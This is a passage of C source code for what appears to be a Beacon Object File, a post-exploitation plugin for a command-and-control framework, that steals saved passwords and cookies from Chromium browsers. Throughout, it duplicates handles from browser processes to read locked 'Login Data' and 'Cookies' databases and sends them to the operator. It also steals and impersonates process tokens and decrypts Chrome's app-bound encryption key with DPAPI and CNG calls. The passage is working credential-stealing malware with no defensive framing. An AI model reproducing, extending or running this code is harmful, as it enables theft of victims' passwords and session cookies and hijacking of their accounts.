download_file(cookieDB, data, data_size);\n        }\n        //download_file(cookieDB,data, sizeof(data));\n        KERNEL32$GlobalFree(data);\n        data_size = 0;\n        CHAR *passwordData = GetFileContent(passwordPath, &data_size);\n        if(passwordData == NULL) {\n            BeaconPrintf(CALLBACK_ERROR,\"%s LOGIN DATA not found on host\\n\", browser);\n            goto ret;\n        }\n        // if copy folder is not null, then copy to folder instead of download_file()\n        if (MSVCRT$strcmp(folderPath, \"\") != 0){\n            CHAR passwordFilePath[MAX_PATH];\n            MSVCRT$sprintf(passwordFilePath, \"%s\\\\%s\", folderPath, passwordDB);\n            HANDLE hFile = KERNEL32$CreateFileA(passwordFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\n            if (hFile == INVALID_HANDLE_VALUE) {\n                BeaconPrintf(CALLBACK_ERROR, \"Failed to write password file to %s\\n\", passwordFilePath);\n            } else {\n                DWORD written = 0;\n                if (!KERNEL32$WriteFile(hFile, passwordData, data_size, &written, NULL)) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[!] WriteFile failed: %lu\\n\", KERNEL32$GetLastError());\n                    KERNEL32$CloseHandle(hFile);\n                    goto ret;\n                }\n                if (written != data_size) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[!] Wrote %lu bytes, expected %lu\\n\", written, data_size);\n                }\n\n                BeaconPrintf(CALLBACK_OUTPUT, \"Wrote password file to: %s\\n\", passwordFilePath);\n                KERNEL32$CloseHandle(hFile);\n            }\n        } else {\n            download_file(passwordDB,passwordData, data_size);\n        }\n        KERNEL32$GlobalFree(passwordData);\n    }\nret:\n    BeaconPrintf(CALLBACK_OUTPUT, \"==============================\\n\");\n}\n\nBOOL GetBrowserFile(DWORD PID, CHAR *browserFile, CHAR *downloadFileName, CHAR * folderPath) {\n    //BeaconPrintf(CALLBACK_OUTPUT,\"Browser PID found %d\\n\", PID);\n    //BeaconPrintf(CALLBACK_OUTPUT,\"Searching for handle to %s \\n\", browserFile);\n\n    SYSTEM_HANDLE_INFORMATION_EX *shi = NULL;\n    DWORD dwNeeded = 0;\n    DWORD dwSize = 0xffffff / 2;\n    BOOL result = FALSE;\n\n    // outside declaration\n    POBJECT_NAME_INFORMATION objectNameInfo = NULL;\n    PPUBLIC_OBJECT_TYPE_INFORMATION objectTypeInfo = NULL;\n    HANDLE hDuplicate = NULL;\n    HANDLE hProc = NULL;\n    CHAR *buffer = NULL;\n\n    shi = (SYSTEM_HANDLE_INFORMATION_EX *)KERNEL32$GlobalAlloc(GPTR, dwSize);\n    if (!shi) {\n        BeaconPrintf(CALLBACK_ERROR, \"GlobalAlloc failed for handle information.\\n\");\n        return FALSE;\n    }\n\n    //utilize NtQueryStemInformation to list all handles on system\n    NTSTATUS status = NTDLL$NtQuerySystemInformation(SystemHandleInformationEx, shi, dwSize, &dwNeeded);\n    if(status == STATUS_INFO_LENGTH_MISMATCH)\n    {\n        dwSize = dwNeeded;\n        SYSTEM_HANDLE_INFORMATION_EX *shi_new = (SYSTEM_HANDLE_INFORMATION_EX*) KERNEL32$GlobalReAlloc(shi, dwSize, GMEM_MOVEABLE);\n\n        if (shi_new == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to reallocate memory...\\n\");\n            KERNEL32$GlobalFree(shi);\n            return FALSE;\n        }\n        shi = shi_new;\n    }\n    status = NTDLL$NtQuerySystemInformation(SystemHandleInformationEx, shi, dwSize, &dwNeeded);\n    if(status != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR,\"NtQuerySystemInformation failed with status 0x%x.\\n\",status);\n        KERNEL32$GlobalFree(shi);\n        return FALSE;\n    }\n    //BeaconPrintf(CALLBACK_OUTPUT,\"Handle Count %d\\n\", shi->NumberOfHandles);\n    //iterate through each handle and find our PID and a handle to a file\n    for(DWORD i = 0; i < shi->NumberOfHandles; i++) {\n        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handle = shi->Handles[i];\n        if ((DWORD)(ULONG_PTR)handle.UniqueProcessId != PID) {\n            continue;\n        }\n        //BeaconPrintf(CALLBACK_OUTPUT, \"Found PID\");\n        if (handle.GrantedAccess == 0x001a019f) continue;\n        if (handle.HandleAttributes == 0x2 && handle.GrantedAccess == 0x0012019f) continue;\n\n        // reset per every iteration\n        if (objectNameInfo) { MSVCRT$free(objectNameInfo); objectNameInfo = NULL; }\n        if (objectTypeInfo) { MSVCRT$free(objectTypeInfo); objectTypeInfo = NULL; }\n        if (hDuplicate) { KERNEL32$CloseHandle(hDuplicate); hDuplicate = NULL; }\n        if (hProc) { KERNEL32$CloseHandle(hProc); hProc = NULL; }\n        if (buffer) { KERNEL32$GlobalFree(buffer); buffer = NULL; }\n\n        objectNameInfo = (POBJECT_NAME_INFORMATION)MSVCRT$malloc(0x1000);\n        objectTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)MSVCRT$malloc(0x1000);\n        if (!objectNameInfo || !objectTypeInfo) {\n            BeaconPrintf(CALLBACK_ERROR, \"malloc failed\\n\");\n            if (objectNameInfo) MSVCRT$free(objectNameInfo);\n            if (objectTypeInfo) MSVCRT$free(objectTypeInfo);\n            continue;\n        }\n\n        hProc = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);\n        if (hProc == INVALID_HANDLE_VALUE) {\n            BeaconPrintf(CALLBACK_ERROR, \"OpenProcess failed %d\\n\", KERNEL32$GetLastError());\n            continue;\n        }\n\n        if (!KERNEL32$DuplicateHandle(hProc, (HANDLE)(intptr_t)handle.HandleValue, (HANDLE)-1, &hDuplicate, 0, FALSE, DUPLICATE_SAME_ACCESS)) {\n            //BeaconPrintf(CALLBACK_ERROR,\"DuplicateHandle failed %d\\n\", KERNEL32$GetLastError());\n            continue;\n        }\n\n        //Check if the handle exists on disk, otherwise the program will hang\n        if (KERNEL32$GetFileType(hDuplicate) != FILE_TYPE_DISK) {\n            //BeaconPrintf(CALLBACK_ERROR, \"NOT A FILE\");\n            continue;\n        }\n\n        ULONG returnLength = 0;\n        //BeaconPrintf(CALLBACK_OUTPUT,\"Duplicated Handle, confirmed file on disk\");\n        status = NTDLL$NtQueryObject(hDuplicate, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);\n        if (status != 0) {\n            BeaconPrintf(CALLBACK_ERROR,\"Failed NtQueryObject\");\n            continue;\n        }\n\n        if (objectNameInfo->Name.Length == 0) {\n            continue;\n        }\n\n        char handleName[1024];\n        MSVCRT$sprintf(handleName, \"%.*ws\", objectNameInfo->Name.Length / sizeof(WCHAR), objectNameInfo->Name.Buffer);\n\n        status = NTDLL$NtQueryObject(hDuplicate, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength);\n        if (status != 0) {\n\n            BeaconPrintf(CALLBACK_ERROR,\"Failed NtQueryObject\");\n            continue;\n        }\n\n        // extract type name properly\n        UNICODE_STRING *typeStr = &objectTypeInfo->TypeName;\n        WCHAR typeName[256] = {0};\n        int len = min(typeStr->Length / sizeof(WCHAR), 255);\n        MSVCRT$wcsncpy(typeName, typeStr->Buffer, len);\n        typeName[len] = L'\\0'; // null terminated\n\n        if (MSVCRT$_wcsicmp(typeName, L\"File\") != 0) {\n            continue;\n        }\n        //BeaconPrintf(CALLBACK_OUTPUT, \"%s\\n\", handleName);\n        //BeaconPrintf(CALLBACK_OUTPUT, \"%d\\n\", MSVCRT$strlen(handleName));\n\n        // Check filename\n        if (MSVCRT$strstr(handleName, browserFile) != NULL) {\n            size_t nameLen = MSVCRT$strlen(handleName);\n            const char *ext7 = (nameLen >= 7) ? &handleName[nameLen - 7] : \"\";\n            const char *ext4 = (nameLen >= 4) ? &handleName[nameLen - 4] : \"\";\n\n            if (MSVCRT$strcmp(ext7, \"Cookies\") == 0 || MSVCRT$strcmp(ext4, \"Data\") == 0) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Handle to %s Was FOUND with PID: %lu\\n\", browserFile, PID);\n                //BeaconPrintf(CALLBACK_OUTPUT, \"Handle Name: %.*ws\\n\", objectNameInfo->Name.Length / sizeof(WCHAR), objectNameInfo->Name.Buffer);\n\n                KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);\n                DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] file size is %d\\n\", dwFileSize);\n\n                buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);\n                if (!buffer) {\n                    BeaconPrintf(CALLBACK_ERROR, \"Failed to allocate buffer\\n\");\n                    continue;\n                }\n\n                DWORD dwRead = 0;\n                // check if readfile failed\n                if (!KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL)) {\n                    BeaconPrintf(CALLBACK_ERROR, \"ReadFile failed\\n\");\n                    KERNEL32$GlobalFree(buffer);\n                    buffer = NULL;\n                    continue;\n                }\n\n                //if folder path is not null, then copy to folder instead of download_file()\n                if (MSVCRT$strcmp(folderPath, \"\") != 0) {\n                    CHAR copyFilePath[MAX_PATH];\n                    MSVCRT$sprintf(copyFilePath, \"%s\\\\%s\", folderPath, downloadFileName);\n                    HANDLE hFile = KERNEL32$CreateFileA(copyFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\n                    if (hFile != INVALID_HANDLE_VALUE) {\n                        DWORD written = 0;\n                        KERNEL32$WriteFile(hFile, buffer, dwFileSize, &written, NULL);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Wrote password file to: %s\\n\", copyFilePath);\n                        KERNEL32$CloseHandle(hFile);\n                    } else {\n                        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to write password file to %s\\n\", copyFilePath);\n                    }\n                } else {\n                    download_file(downloadFileName, buffer, dwFileSize);\n                }\n\n                result = TRUE;\n                goto cleanup_and_exit;\n            }\n        }\n    }\n\ncleanup_and_exit:\n    //  clean up and free everything\n    if (buffer) KERNEL32$GlobalFree(buffer);\n    if (hDuplicate) KERNEL32$CloseHandle(hDuplicate);\n    if (hProc) KERNEL32$CloseHandle(hProc);\n    if (objectNameInfo) MSVCRT$free(objectNameInfo);\n    if (objectTypeInfo) MSVCRT$free(objectTypeInfo);\n    if (shi) KERNEL32$GlobalFree(shi);\n\n    return result;\n}\n\n// nanodump fileless download\nBOOL download_file( IN LPCSTR fileName, IN char fileData[], IN ULONG32 fileLength)\n{\n    AxDownloadMemory(fileName, fileData, fileLength);\n    BeaconPrintf(CALLBACK_OUTPUT,\"[+] The file was downloaded filessly\");\n    return TRUE;\n}\n\n// Helper functions for string operations - Chrome style\nBOOL PopFromStringFront(BYTE** data, DWORD* data_len, DWORD pop_len, BYTE* output) {\n    // Check if we have enough data\n    if (*data_len < pop_len) {\n        return FALSE;\n    }\n\n    // Copy the data if output buffer is provided\n    if (output != NULL) {\n        MSVCRT$memcpy(output, *data, pop_len);\n    }\n\n    // Move the pointer forward\n    *data += pop_len;\n    *data_len -= pop_len;\n\n    return TRUE;\n}\n\nBOOL PopDWORDFromStringFront(BYTE** data, DWORD* data_len, DWORD* output) {\n    if (*data_len < sizeof(DWORD)) {\n        return FALSE;\n    }\n\n    if (output != NULL) {\n        *output = *((DWORD*)*data);\n    }\n\n    *data += sizeof(DWORD);\n    *data_len -= sizeof(DWORD);\n\n    return TRUE;\n}\n\nBYTE* decrypt_with_cng(const BYTE* input_data, DWORD input_size, DWORD* output_size) {\n    NCRYPT_PROV_HANDLE hProvider = 0;\n    NCRYPT_KEY_HANDLE hKey = 0;\n    BYTE* output_buffer = NULL;\n    DWORD buffer_size = 0;\n    SECURITY_STATUS status;\n\n    // Initialize output size\n    *output_size = 0;\n\n    // Open storage provider\n    LPCWSTR provider_name = L\"Microsoft Software Key Storage Provider\";\n    status = NCRYPT$NCryptOpenStorageProvider(&hProvider, provider_name, 0);\n    if (status != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] NCryptOpenStorageProvider failed with status 0x%08X\\n\", status);\n        return NULL;\n    }\n\n    // Open key\n    LPCWSTR key_name = L\"Google Chromekey1\";\n    status = NCRYPT$NCryptOpenKey(hProvider, &hKey, key_name, 0, 0);\n    if (status != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] NCryptOpenKey failed with status 0x%08X\\n\", status);\n        NCRYPT$NCryptFreeObject(hProvider);\n        return NULL;\n    }\n\n    // First call to get required buffer size\n    status = NCRYPT$NCryptDecrypt(\n        hKey,\n        (PBYTE)input_data,\n        input_size,\n        NULL,                    // pPaddingInfo\n        NULL,                    // pbOutput (NULL to get size)\n        0,                       // cbOutput\n        &buffer_size,            // pcbResult\n        NCRYPT_SILENT_FLAG       // dwFlags (0x40)\n    );\n\n    if (status != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] 1st NCryptDecrypt failed with status 0x%08X\\n\", status);\n        NCRYPT$NCryptFreeObject(hKey);\n        NCRYPT$NCryptFreeObject(hProvider);\n        return NULL;\n    }\n\n    // Allocate output buffer\n    output_buffer = (BYTE*)MSVCRT$malloc(buffer_size);\n    if (!output_buffer) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Memory allocation failed\\n\");\n        NCRYPT$NCryptFreeObject(hKey);\n        NCRYPT$NCryptFreeObject(hProvider);\n        return NULL;\n    }\n\n    // Second call to actually decrypt\n    status = NCRYPT$NCryptDecrypt(\n        hKey,\n        (PBYTE)input_data,\n        input_size,\n        NULL,                    // pPaddingInfo\n        output_buffer,           // pbOutput\n        buffer_size,             // cbOutput\n        &buffer_size,            // pcbResult (actual bytes written)\n        NCRYPT_SILENT_FLAG       // dwFlags (0x40)\n    );\n\n    if (status != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] 2nd NCryptDecrypt failed with status 0x%08X\\n\", status);\n        MSVCRT$free(output_buffer);\n        output_buffer = NULL;\n        buffer_size = 0;\n    }\n\n    // Clean up\n    NCRYPT$NCryptFreeObject(hKey);\n    NCRYPT$NCryptFreeObject(hProvider);\n\n    // Set output size\n    *output_size = buffer_size;\n\n    return output_buffer;\n}\n\n// Steal Token and impersonate user.\nBOOL StealAndImpersonate(int pid) {\n    HANDLE hProcess, hToken, hUser;\n    hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\n    if (hProcess == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to open process: %lu\\n\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    if (!ADVAPI32$OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to open process token: %lu\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hProcess);\n        return FALSE;\n    }\n\n    if (!ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenPrimary, &hUser)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to duplicate token: %lu\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hToken);\n        KERNEL32$CloseHandle(hProcess);\n        return FALSE;\n    }\n\n    if (!ADVAPI32$ImpersonateLoggedOnUser(hUser)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to impersonate user: %lu\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hToken);\n        KERNEL32$CloseHandle(hProcess);\n        return FALSE;\n    }\n\n//    BeaconPrintf(CALLBACK_OUTPUT,\"[+] Successfully impersonated user with PID: %d\\n\", pid);\n    return TRUE;\n}\n\nBOOL AppBoundDecryptor(char * localStateFile, int pid){\n    //BeaconPrintf(CALLBACK_OUTPUT, \"Got Local State File\");\n    // extract CHAR pattern[] = \"\\\"encrypted_key\\\":\\\"\"; from file\n    DWORD app_data_size = 0;\n    char* app_data = GetFileContent(localStateFile, &app_data_size);\n    if(app_data == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Reading the file failed.\\n\");\n        return FALSE;\n    }\n    CHAR pattern[] = \"\\\"encrypted_key\\\":\\\"\";\n    char* v10_key = ExtractKey(app_data, pattern);\n\n    CHAR app_pattern[] =  \"\\\"app_bound_encrypted_key\\\":\\\"\";\n    char* app_key = ExtractKey(app_data, app_pattern);\n\n//    BeaconPrintf(CALLBACK_OUTPUT,\"[+] Extracted Encrypted Key %s\\n\", v10_key);\n//    BeaconPrintf(CALLBACK_OUTPUT,\"[+] Extracted Encrypt Appboundkey %s\\n\", app_key);\n\n    if (v10_key != NULL) {\n        // Decrypt V10 Encryption Key\n        // todo store token\n        if (StealAndImpersonate(pid)) {\n            GetMasterKey(v10_key);\n            ADVAPI32$RevertToSelf();\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (app_key == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Error Encrypt Appboundkey is null\\n\");\n        return FALSE;\n    }\n\n    // Base64 decode the app_bound_encrypted_key\n    size_t encrypted_key_len;\n    uint8_t* encrypted_key_with_header = Base64Decode(app_key, &encrypted_key_len);\n    if (encrypted_key_with_header == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to base64 decode the key\\n\");\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    // Validate key prefix (APPB)\n    if (encrypted_key_len < sizeof(kCryptAppBoundKeyPrefix) || MSVCRT$memcmp(encrypted_key_with_header, kCryptAppBoundKeyPrefix, sizeof(kCryptAppBoundKeyPrefix)) != 0) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Invalid key header - expected 'APPB' prefix\\n\");\n        MSVCRT$free(encrypted_key_with_header);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    // Strip prefix\n    uint8_t* encrypted_key = (uint8_t*)MSVCRT$malloc(encrypted_key_len - sizeof(kCryptAppBoundKeyPrefix));\n    if (encrypted_key == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to allocate memory for encrypted key\\n\");\n        MSVCRT$free(encrypted_key_with_header);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    MSVCRT$memcpy(encrypted_key, encrypted_key_with_header + sizeof(kCryptAppBoundKeyPrefix), encrypted_key_len - sizeof(kCryptAppBoundKeyPrefix));\n    encrypted_key_len -= sizeof(kCryptAppBoundKeyPrefix);\n    MSVCRT$free(encrypted_key_with_header);\n\n    // First, attempt to decrypt as SYSTEM\n//    BeaconPrintf(CALLBACK_OUTPUT,\"[+] Attempting to decrypt key as SYSTEM...\\n\");\n\n    BYTE* decrypted_key = NULL;\n    DWORD decrypted_key_len = 0;\n\n    DATA_BLOB encrypted_blob;\n    DATA_BLOB intermediate_blob;\n    DATA_BLOB decrypted_blob;\n\n    encrypted_blob.pbData = encrypted_key;\n    encrypted_blob.cbData = encrypted_key_len;\n    HANDLE hUser = NULL;\n    HANDLE hToken = NULL;\n    HANDLE hProcess = NULL;\n\n    BOOL result = CRYPT32$CryptUnprotectData(&encrypted_blob, NULL, NULL, NULL, NULL, 0, &intermediate_blob);\n    if (result) {\n//        BeaconPrintf(CALLBACK_OUTPUT,\"[+] Attempting to impersonate user to decrypt...\\n\");\n\n        // Impersonate the user\n        hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\n        if (hProcess == NULL) {\n            BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to open process: %lu\\n\", KERNEL32$GetLastError());\n            MSVCRT$free(encrypted_key);\n            KERNEL32$GlobalFree(app_data);\n            KERNEL32$GlobalFree(app_key);\n            return FALSE;\n        }\n\n        if (!ADVAPI32$OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) {\n            BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to open process token: %lu\\n\", KERNEL32$GetLastError());\n            KERNEL32$CloseHandle(hProcess);\n            MSVCRT$free(encrypted_key);\n            KERNEL32$GlobalFree(app_data);\n            KERNEL32$GlobalFree(app_key);\n            return FALSE;\n        }\n\n        if (!ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenPrimary, &hUser)) {\n            BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to duplicate token: %lu\\n\", KERNEL32$GetLastError());\n            KERNEL32$CloseHandle(hToken);\n            KERNEL32$CloseHandle(hProcess);\n            MSVCRT$free(encrypted_key);\n            KERNEL32$GlobalFree(app_data);\n            KERNEL32$GlobalFree(app_key);\n            return FALSE;\n        }\n\n        // ToDo store token;\n        if (!ADVAPI32$ImpersonateLoggedOnUser(hUser)) {\n            BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to impersonate user: %lu\\n\", KERNEL32$GetLastError());\n            KERNEL32$CloseHandle(hToken);\n            KERNEL32$CloseHandle(hProcess);\n            KERNEL32$CloseHandle(hUser);\n            MSVCRT$free(encrypted_key);\n            KERNEL32$GlobalFree(app_data);\n            KERNEL32$GlobalFree(app_key);\n            return FALSE;\n        }\n\n//        BeaconPrintf(CALLBACK_OUTPUT,\"[!] Successfully impersonated user with PID: %d\\n\", pid);\n\n        // Now try to decrypt as impersonated user\n        result = CRYPT32$CryptUnprotectData(&intermediate_blob, NULL, NULL, NULL, NULL, 0, &decrypted_blob);\n        if (!result) {\n            BeaconPrintf(CALLBACK_ERROR,\"[!] Decrypting as impersonated user failed: %lu\\n\", KERNEL32$GetLastError());\n            ADVAPI32$RevertToSelf();\n            KERNEL32$CloseHandle(hToken);\n            KERNEL32$CloseHandle(hProcess);\n            KERNEL32$CloseHandle(hUser);\n            MSVCRT$free(encrypted_key);\n            KERNEL32$GlobalFree(app_data);\n            KERNEL32$GlobalFree(app_key);\n            return FALSE;\n        }\n\n//        BeaconPrintf(CALLBACK_OUTPUT,\"[!] Successfully decrypted key as impersonated user!\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to decrypt key as SYSTEM!\\n\");\n        MSVCRT$free(encrypted_key);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    // Revert impersonation\n    if (hUser != NULL) {\n        ADVAPI32$RevertToSelf();\n        KERNEL32$CloseHandle(hToken);\n        KERNEL32$CloseHandle(hProcess);\n        KERNEL32$CloseHandle(hUser);\n//        BeaconPrintf(CALLBACK_OUTPUT,\"[+] Rev2Self\\n\");\n    }\n\n    // Parse the decrypted data - Chrome format\n    BYTE* cursor = decrypted_blob.pbData;\n    DWORD remaining = decrypted_blob.cbData;\n    DWORD validation_len = 0;\n\n    // Get validation string length\n    if (!PopDWORDFromStringFront(&cursor, &remaining, &validation_len)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to read validation length.\\n\");\n        KERNEL32$LocalFree(decrypted_blob.pbData);\n        MSVCRT$free(encrypted_key);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    if (validation_len > remaining) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Validation length (%lu) exceeds remaining data (%lu).\\n\", validation_len, remaining);\n        KERNEL32$LocalFree(decrypted_blob.pbData);\n        MSVCRT$free(encrypted_key);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    // Get validation string\n    BYTE* validation_blob = cursor;\n    if (!PopFromStringFront(&cursor, &remaining, validation_len, NULL)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to extract validation blob.\\n\");\n        KERNEL32$LocalFree(decrypted_blob.pbData);\n        MSVCRT$free(encrypted_key);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    // Get key length\n    DWORD key_len = 0;\n    if (!PopDWORDFromStringFront(&cursor, &remaining, &key_len)) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Failed to read key length.\\n\");\n        KERNEL32$LocalFree(decrypted_blob.pbData);\n        MSVCRT$free(encrypted_key);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    if (key_len > remaining) {\n        BeaconPrintf(CALLBACK_ERROR,\"[!] Key length (%lu) exceeds remaining data (%lu).\\n\", key_len, remaining);\n        KERNEL32$LocalFree(decrypted_blob.pbData);\n        MSVCRT$free(encrypted_key);\n        KERNEL32$GlobalFree(app_data);\n        KERNEL32$GlobalFree(app_key);\n        return FALSE;\n    }\n\n    // Get key blob\n    BYTE* key_blob = cursor;\n\n    // if first byte is 03 then decyrpt with CNG\n    if (key_blob[0] == 0x03) {\n//            BeaconPrintf(CALLBACK_OUTPUT,\"[+] Decrypting key with CNG...\");\n        BYTE* aes_encrypted_key = key_blob + 1;\n        DWORD cng_out_len = 0;\n        BYTE *decrypted = decrypt_with_cng(aes_encrypted_key, 32, &cng_out_len);\n        if (decrypted) {\n            CHAR *chromeOutput = (CHAR*)KERNEL32$GlobalAlloc(GPTR, (cng_out_len * 4) + 1);\n            if (!chromeOutput) {\n                MSVCRT$free(decrypted);\n                return FALSE;\n            }\n\n//          BeaconPrintf(CALLBACK_OUTPUT,\"[+] CNG Decryption Output (%lu bytes):\\n\", cng_out_len);\n            int offset = 0;\n            for (DWORD i = 0; i < cng_out_len; i++) {\n                int written = MSVCRT$_snprintf(chromeOutput + offset, (cng_out_len * 4) + 1 - offset, \"\\\\x%02x\", decrypted[i]);\n                if (written < 0 || written >= (int)((cng_out_len * 4) + 1 - offset)) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[!] Buffer overflow in hex encoding\\n\");\n                    KERNEL32$GlobalFree(chromeOutput);\n                    MSVCRT$free(decrypted);\n                    return FALSE;\n                }\n                offset += written;\n            }\n\n            BeaconPrintf(CALLBACK_OUTPUT,\"[+] -> Chrome AES Key: %s \\n\", chromeOutput);\n            MSVCRT$free(decrypted);\n            KERNEL32$GlobalFree(chromeOutput);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR,\"[!] CNG decryption failed.\\n\");\n        }\n    }\n    CHAR *output = (CHAR*)KERNEL32$GlobalAlloc(GPTR, (key_len * 4) + 1);\n\n    for (DWORD i = 0; i < key_len; i++) {\n        MSVCRT$sprintf(output, \"%s\\\\x%02x\", output, key_blob[i]);\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT,\"[+] -> Encrypted App Bound Key: %s \\n\", output );\n\n    // Clean up\n    KERNEL32$LocalFree(decrypted_blob.pbData);\n    KERNEL32$LocalFree(intermediate_blob.pbData);\n    MSVCRT$free(encrypted_key);\n    KERNEL32$GlobalFree(app_data);\n    KERNEL32$GlobalFree(app_key);\n    KERNEL32$GlobalFree(output);\n\n    return TRUE;\n}\n\nBOOL isBrowserSupported(char* browser) {\n    for (int i = 0; i < sizeof(supported_browsers) / sizeof(supported_browsers[0]); i++) {\n        if (MSVCRT$strcmp(browser, supported_browsers[i]) == 0) {\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nBOOL ConstructDbPath(char* dest, size_t dest_size, const char* browser, const char* type) {\n    if (!dest || !browser || !type || dest_size < 1) {\n        return FALSE;\n    }\n    int result = MSVCRT$_snprintf(dest, dest_size, \"%s%s.db\", browser, type);\n    if (result < 0 || (size_t)result >= dest_size) {\n        dest[dest_size - 1] = '\\0';\n        return FALSE;\n    }\n    return TRUE;\n}\n\nVOID go(char *buf, int len) {\n    //parse command line arguements\n    datap parser;\n    char* browser = \"\";\n    char* browser_path = \"\";\n    char* copyFile = \"\";\n    int browser_pid, cookie_pid, password_pid;\n    BOOL cookies, passwords, keys;\n\n    BeaconDataParse(&parser, buf, len);\n    browser = BeaconDataExtract(&parser, NULL);\n    browser_path = BeaconDataExtract(&parser, NULL);\n    browser_pid = BeaconDataInt(&parser);\n    cookies = BeaconDataInt(&parser);\n    passwords = BeaconDataInt(&parser);\n    keys = BeaconDataInt(&parser);\n    cookie_pid = BeaconDataInt(&parser);\n    password_pid = BeaconDataInt(&parser);\n    BOOL AllBrowsers = FALSE;\n\n    if (cookie_pid != 0 || password_pid != 0) {\n        if (MSVCRT$strlen(browser) == 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Please specify which browser to use (chrome or msedge)\\n\");\n            return;\n        }\n        if (!isBrowserSupported(browser)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Browser %s is currently not supported, if its chromium based try browser path\\n\", browser);\n            return;\n        }\n        char dbCookies[20];\n        char dbPasswords[20];\n        if (!ConstructDbPath(dbCookies, sizeof(dbCookies), browser, \"Cookies\") ||\n            !ConstructDbPath(dbPasswords, sizeof(dbPasswords), browser, \"Passwords\")) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to construct database paths\");\n            return;\n        }\n        if (keys && passwords && cookies) {\n            GetEncryptionKey(browser);\n            GetBrowserFile(password_pid, \"Login Data\", dbPasswords, copyFile);\n            GetBrowserFile(cookie_pid, \"Cookies\", dbCookies, copyFile);\n            return;\n        }\n        //if cookie or login data only or keys, then get the cookies and/or passwords and exit\n        if (keys){\n            GetEncryptionKey(browser);\n            return;\n        } else if (passwords) {\n            GetBrowserFile(password_pid, \"Login Data\", dbPasswords, copyFile);\n            return;\n        } else {\n            GetBrowserFile(cookie_pid, \"Cookies\", dbCookies, copyFile);\n            return;\n        }\n    }\n\n    if (MSVCRT$strlen(browser) == 0) {\n        if (browser_path != NULL && 